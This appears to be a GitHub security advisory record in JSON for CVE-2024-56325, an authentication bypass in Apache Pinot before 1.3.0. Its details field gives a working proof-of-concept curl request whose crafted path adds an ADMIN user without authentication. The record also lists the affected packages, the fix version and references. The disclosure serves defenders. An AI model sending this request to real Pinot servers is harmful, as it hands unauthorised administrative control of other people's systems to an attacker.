{ "schema_version": "1.4.0", "id": "GHSA-6jwp-4wvj-6597", "modified": "2025-05-27T18:34:51Z", "published": "2025-04-01T09:30:20Z", "aliases": [ "CVE-2024-56325" ], "summary": "Apache Pinot Vulnerable to Authentication Bypass", "details": "Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"} http://{server_ip}:9000/users \n\n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\n\nReturn: {\"users\":{}}\n\n\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" } ], "affected": [ { "package": { "ecosystem": "Maven", "name": "org.apache.pinot:pinot-broker" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.3.0" } ] } ] }, { "package": { "ecosystem": "Maven", "name": "org.apache.pinot:pinot-common" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.3.0" } ] } ] }, { "package": { "ecosystem": "Maven", "name": "org.apache.pinot:pinot-controller" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.3.0" } ] } ] } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56325" }, { "type": "WEB", "url": "https://github.com/apache/pinot/pull/14383" }, { "type": "WEB", "url": "https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f" }, { "type": "PACKAGE", "url": "https://github.com/apache/pinot" }, { "type": "WEB", "url": "https://github.com/apache/pinot/releases/tag/release-1.3.0" }, { "type": "WEB", "url": "https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2025/03/27/8" } ], "database_specific": { "cwe_ids": [ "CWE-288" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2025-04-01T18:20:48Z", "nvd_published_at": "2025-04-01T09:15:15Z" } }